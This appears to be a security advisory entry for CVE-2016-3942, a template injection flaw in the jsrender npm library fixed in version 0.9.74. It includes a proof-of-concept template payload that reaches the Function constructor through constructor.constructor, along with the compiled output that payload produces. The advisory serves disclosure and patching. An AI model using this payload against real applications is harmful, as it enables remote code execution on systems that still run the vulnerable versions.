CVE-2016-3942
Template Injection in jsrender
Also known as GHSA-r87w-47m8-22w3
Published 6 y ago · modified 2 y ago · JSON
Summary
Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
## Proof of Concept
```js //POC-REQUEST {{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}} {{:#data}} {{/for}} ```
```js //POC-RESPONSE function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } ```
## Recommendation
Update to version 0.9.74 or later.
CVSS scores
| Assigned by | Version | Score | Vector |
|---|---|---|---|
| GitHub | 3.1 | 6.3 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | jsrender | <0.9.74 | 0.9.74 |
Classification
- Weakness
- CWE-94 Improper Control of Generation of Code
References
- nvd.nist.gov /vuln/detail/CVE-2016-3942 · advisory
- github.com /BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6 · web
- github.com /BorisMoore/jsrender · package
- snyk.io /vuln/SNYK-DOTNET-JSRENDER-60173 · web
- npmjs.com /advisories/97 · web
Sources
- GitHub Advisory: GHSA-r87w-47m8-22w3
vulnwire keeps one entry per vulnerability: the CVE id wins, then GHSA; records that alias each other are merged. Machine-readable: JSON.